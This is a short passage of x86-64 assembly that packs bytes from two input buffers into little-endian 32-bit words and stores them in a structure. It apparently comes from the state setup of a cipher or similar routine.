movzx eax, byte [rdx + 0x1e]
movzx ecx, byte [rdx + 0x1f]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [rdx + 0x1c]
shl ecx, 8
or ecx, eax
xor eax, eax
mov dword [r10 + 0x2c], ecx
mov qword [r10 + 0x30], rax
movzx eax, byte [r8 + 2]
movzx ecx, byte [r8 + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8 + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8]
shl ecx, 8
or ecx, eax
mov dword [r10 + 0x38], ecx
movzx eax, byte [r8 + 6]
movzx ecx, byte [r8 + 7]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8 + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [r8 + 4]
shl ecx, 8
or ecx, eax
mov rax, r10
mov dword [r10 + 0x3c], ecx
ret